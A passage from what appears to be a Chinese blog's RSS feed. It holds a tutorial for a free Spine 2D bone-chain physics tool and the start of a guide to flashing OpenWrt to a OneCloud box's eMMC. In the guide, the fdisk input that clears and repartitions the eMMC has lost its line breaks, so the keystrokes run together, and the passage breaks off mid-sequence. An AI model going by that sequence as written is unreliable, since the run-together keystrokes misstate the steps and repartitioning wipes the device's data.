auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;骨骼链是 “需要添加物理跟随的一串骨骼”（如头发骨骼链：根骨骼→第一节头发→第二节头发）。&lt;/div&gt;&lt;ol style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;点击左侧面板「+ 新建链」按钮，生成一条新的骨骼链；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;编辑骨骼链：&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;点击骨骼链名称输入框，自定义链名称（如 “头发链”）；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;在左侧「骨骼层级」树中，依次点击需要加入链的骨骼（按父子层级顺序），骨骼会自动添加到当前链中；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;若需移除骨骼：点击骨骼链下方标签中的「×」按钮删除对应骨骼；&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;（可选）重复步骤 1-2，创建多条骨骼链（如同时做头发、尾巴两条链）。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3 style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; font-weight: 400; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;步骤 3：配置物理参数&lt;/h3&gt;&lt;div style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;右侧面板配置参数，推荐先选预设再微调：&lt;/div&gt;&lt;ol style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;「快速预设」选择适配场景的参数（头发 / 尾巴 / 裙摆 / 丝带 / 硬挺），预设会自动填充核心参数；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;微调 Spring Magic 参数（关键）：&lt;/p&gt;&lt;p&gt;| 参数 &amp;nbsp; &amp;nbsp; &amp;nbsp; | 作用说明 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;/p&gt;&lt;p&gt;|------------|--------------------------------------------------------------------------|&lt;/p&gt;&lt;p&gt;| 硬度（delay） | 数值越大，骨骼越 “硬”，跟随父骨骼的速度越快（0.01~0.99，默认 0.3） &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;/p&gt;&lt;p&gt;| 摆幅（scaleMotion） | 放大 / 缩小第一节骨骼的摆动幅度（0~5，默认 1.0） &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|&lt;/p&gt;&lt;p&gt;| 链衰减 &amp;nbsp; &amp;nbsp; | 末端骨骼的硬度衰减（0.3~1.0，默认 1.0），数值越小末端越软（如尾巴末端）|&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;模拟设置（按需调整）：&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;模拟帧率：默认 60fps（越高越流畅，建议 60/90）；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;多次抽样：每帧内迭代次数（默认 2，越高效果越细腻）；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;预热帧数：循环预跑消除开头抖动（默认 30，无需大幅修改）；&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;关键帧精简：调节「精简强度」（0~1），0 保留所有帧，1 最大程度精简冗余帧（默认 0.5 兼顾效果与体积）。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3 style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; font-weight: 400; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;步骤 4：选择动画并预览&lt;/h3&gt;&lt;ol style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;右侧「选择要模拟的动画」区域：&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;勾选需要添加物理效果的动画（可点击「全选 / 全不选」批量操作）；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;中间面板「预览」下拉框选择要预览的动画；&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;（可选）加载纹理：&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;中间面板「纹理」区域，分别拖拽 PNG 图集和 .atlas 文件到对应区域；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;加载成功后，预览区会显示带纹理的骨骼动画；&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;预览控制：&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;点击「▶ 播放」按钮预览动画 + 物理跟随效果；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;勾选 / 取消「跟随 / 原始」，对比模拟后与原动画的差异；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;拖动进度条调节动画播放进度。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ol&gt;&lt;h3 style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; font-weight: 400; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;步骤 5：模拟并导出&lt;/h3&gt;&lt;ol style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;模拟执行：&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;单链模拟：选中左侧目标骨骼链，点击右侧「▶ 模拟当前链」；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;全链模拟：点击右侧「⚡ 模拟全部链」（所有骨骼链同时模拟）；&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;模拟过程中，右侧会显示进度条及状态（准备中 / 模拟中 / 完成），模拟完成后：&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;左侧骨骼链会标记「已模拟」（绿色圆点）；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;右侧「各链模拟状态」会显示每条链的模拟结果；&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;导出设置：&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;「覆盖原有旋转轨道」：勾选则替换原骨骼的旋转关键帧（默认开启）；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;「保留原始轨道备份」：勾选则保留原关键帧（建议按需开启）；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;「关键帧间隔」：设置导出关键帧的时间间隔（默认 33ms，即 30fps）；&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;点击「↓ 合并导出全部链」，下载包含所有骨骼链物理效果的 Spine JSON 文件，可直接导入 Spine 编辑。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;img src=&quot;https://pylblog.com/zb_users/upload/2026/03/202603151773577678871314.jpg&quot; title=&quot;Spine 2D飘带计算工具|骨骼跟随工具 第1张&quot; alt=&quot;Spine 2D飘带计算工具|骨骼跟随工具 第1张&quot;&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;text-align:center&quot;&gt;&lt;iframe class=&quot;edui-faked-video&quot; src=&quot;https://video.cgjoy.com/40513444208371f1817d5420848c0102/1a84a8ff17524de2b25c2f21c2e35192-7b51f5c566f5f45bf807c3c3ea6dff33-4k.mp4&quot; width=&quot;840&quot; height=&quot;460&quot; allowfullscreen=&quot;&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;视频教程转：https://www.cgjoy.com/thread-281201-1-1.html&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;span style=&quot;font-size: 24px; color: #C0504D;&quot;&gt;工具链接：&lt;a href=&quot;https://pylblog.com/spinetools/spine-follow-4x.html&quot; target=&quot;_blank&quot; title=&quot;点击跳转工具&quot; textvalue=&quot;https://pylblog.com/spinetools/spine-follow-4x.html&quot;&gt;https://pylblog.com/spinetools/spine-follow-4x.html&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 20px; color: #FAC08F;&quot;&gt;工具&lt;span style=&quot;font-size: 36px; color: #C0504D;&quot;&gt;免费&lt;/span&gt;使用，不收取任何费用，也不收集用户数据&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 20px; color: #00B050;&quot;&gt;如果工具对你有帮助可以请我吃包辣条&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;div id=&quot;ycnr&quot;&gt;[MyText]这里插入要隐藏的内容[/MyText]&lt;/div&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Sun, 15 Mar 2026 18:51:13 +0800</pubDate></item><item><title>编译玩客云可以写入emmc启动的openwrt固件</title><link>https://pylblog.com/post/269.html</link><description>&lt;h3 data-start=&quot;1815&quot; data-end=&quot;1837&quot;&gt;&lt;span style=&quot;font-size: 14px;&quot;&gt;✅ 方案 （强烈推荐，成功率最高）&lt;/span&gt;&lt;br/&gt;&lt;/h3&gt;&lt;p data-start=&quot;1839&quot; data-end=&quot;1851&quot;&gt;&lt;strong data-start=&quot;1839&quot; data-end=&quot;1851&quot;&gt;完全照网上这套来&lt;/strong&gt;&lt;/p&gt;&lt;ul data-start=&quot;1853&quot; data-end=&quot;2042&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p data-start=&quot;1855&quot; data-end=&quot;1860&quot;&gt;eMMC：&lt;/p&gt;&lt;/li&gt;&lt;ul data-start=&quot;1863&quot; data-end=&quot;1899&quot; class=&quot; list-paddingleft-2&quot; style=&quot;list-style-type: square;&quot;&gt;&lt;li&gt;&lt;p data-start=&quot;1865&quot; data-end=&quot;1869&quot;&gt;重新分区&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p data-start=&quot;1874&quot; data-end=&quot;1899&quot;&gt;建一个 &lt;strong data-start=&quot;1878&quot; data-end=&quot;1899&quot;&gt;FAT32 分区（mmc 1:1）&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p data-start=&quot;1874&quot; data-end=&quot;1899&quot;&gt;&lt;strong data-start=&quot;1878&quot; data-end=&quot;1899&quot;&gt;这一步可以使用openwrt-18.06.8-s805-k310-onecloud-ws1608-by-snail_20201208_163930+(7)里面的分区脚本&lt;strong style=&quot;margin: 0px; padding: 0px; font-size: 16px; border: 0px; vertical-align: baseline; color: rgb(51, 51, 51); text-align: justify; text-indent: 44px; white-space: break-spaces; outline: 0px; font-family: arial, sans-serif; background-color: rgb(255, 255, 255);&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px; border: 0px; vertical-align: baseline; outline: 0px; color: rgb(191, 54, 12);&quot;&gt;sh /root/format-emmc-partition.sh&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p data-start=&quot;1902&quot; data-end=&quot;1908&quot;&gt;文件放进去：&lt;/p&gt;&lt;/li&gt;&lt;ul data-start=&quot;1911&quot; data-end=&quot;1994&quot; class=&quot; list-paddingleft-2&quot; style=&quot;list-style-type: square;&quot;&gt;&lt;li&gt;&lt;p data-start=&quot;1913&quot; data-end=&quot;1930&quot;&gt;&lt;code data-start=&quot;1913&quot; data-end=&quot;1930&quot;&gt;emmc_autoscript&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p data-start=&quot;1935&quot; data-end=&quot;1943&quot;&gt;&lt;code data-start=&quot;1935&quot; data-end=&quot;1943&quot;&gt;uImage&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p data-start=&quot;1948&quot; data-end=&quot;1957&quot;&gt;&lt;code data-start=&quot;1948&quot; data-end=&quot;1957&quot;&gt;uInitrd&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p data-start=&quot;1962&quot; data-end=&quot;1974&quot;&gt;&lt;code data-start=&quot;1962&quot; data-end=&quot;1974&quot;&gt;dtb&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p data-start=&quot;1979&quot; data-end=&quot;1994&quot;&gt;&lt;code data-start=&quot;1979&quot; data-end=&quot;1994&quot;&gt;uEnv_emmc.ini&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p data-start=&quot;1997&quot; data-end=&quot;2008&quot;&gt;让 U-Boot 走：&lt;/p&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-start=&quot;2011&quot; data-end=&quot;2042&quot;&gt;fatload&amp;nbsp;mmc&amp;nbsp;1:1&amp;nbsp;...&lt;/pre&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p data-start=&quot;2044&quot; data-end=&quot;2076&quot;&gt;✔️ 日志已经证明 &lt;strong data-start=&quot;2054&quot; data-end=&quot;2076&quot;&gt;你这个 U-Boot 原生支持这条路&lt;/strong&gt;&lt;/p&gt;&lt;p data-start=&quot;0&quot; data-end=&quot;84&quot;&gt;下面内容是 &lt;strong data-start=&quot;41&quot; data-end=&quot;67&quot;&gt;完全对齐你给的“能正常 eMMC 启动日志”&lt;/strong&gt; 的方案，按顺序做，成功率非常高。&lt;/p&gt;&lt;blockquote data-start=&quot;86&quot; data-end=&quot;172&quot;&gt;&lt;p data-start=&quot;88&quot; data-end=&quot;172&quot;&gt;目标设备：&lt;strong data-start=&quot;93&quot; data-end=&quot;127&quot;&gt;OneCloud / M201 / S805 / 1G 内存&lt;/strong&gt;&lt;br data-start=&quot;127&quot; data-end=&quot;130&quot;/&gt;启动方式：&lt;strong data-start=&quot;137&quot; data-end=&quot;172&quot;&gt;eMMC + FAT 分区 + emmc_autoscript&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;hr data-start=&quot;174&quot; data-end=&quot;177&quot;/&gt;&lt;h1 data-start=&quot;179&quot; data-end=&quot;200&quot;&gt;一、最终目录结构（你做完后应该长这样）&lt;/h1&gt;&lt;p data-start=&quot;202&quot; data-end=&quot;231&quot;&gt;eMMC 的 &lt;strong data-start=&quot;209&quot; data-end=&quot;226&quot;&gt;第 1 分区（FAT32）&lt;/strong&gt; 根目录：&lt;/p&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-start=&quot;233&quot; data-end=&quot;366&quot;&gt;/boot（或直接根目录）
├──&amp;nbsp;emmc_autoscript
├──&amp;nbsp;uImage
├──&amp;nbsp;uInitrd
├──&amp;nbsp;uEnv_emmc.ini
└──&amp;nbsp;dtb&lt;/pre&gt;&lt;p data-start=&quot;368&quot; data-end=&quot;376&quot;&gt;⚠️ 注意：&lt;/p&gt;&lt;ul data-start=&quot;377&quot; data-end=&quot;431&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p data-start=&quot;379&quot; data-end=&quot;401&quot;&gt;&lt;strong data-start=&quot;379&quot; data-end=&quot;401&quot;&gt;U-Boot 找的是文件，不是分区名&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p data-start=&quot;404&quot; data-end=&quot;431&quot;&gt;&lt;code data-start=&quot;404&quot; data-end=&quot;421&quot;&gt;emmc_autoscript&lt;/code&gt; &lt;strong data-start=&quot;422&quot; data-end=&quot;431&quot;&gt;没有扩展名&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;hr data-start=&quot;433&quot; data-end=&quot;436&quot;/&gt;&lt;h1 data-start=&quot;438&quot; data-end=&quot;458&quot;&gt;二、eMMC 分区方案（必须这样来）&lt;/h1&gt;&lt;h3 data-start=&quot;460&quot; data-end=&quot;493&quot;&gt;1️⃣ Linux / OpenWrt 下重新分区（示例）&lt;/h3&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-start=&quot;495&quot; data-end=&quot;525&quot;&gt;fdisk&amp;nbsp;/dev/mmcblk1&lt;/pre&gt;&lt;p data-start=&quot;527&quot; data-end=&quot;538&quot;&gt;输入顺序（非常重要）：&lt;/p&gt;&lt;pre class=&quot;overflow-visible! px-0!&quot; data-start=&quot;540&quot; data-end=&quot;690&quot;&gt;o&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;清空分区表（MBR）n
p12211841269759&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;≈512MB&amp;nbsp;FATtc&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;FAT32&amp;nbsp;LBAn
p21482752
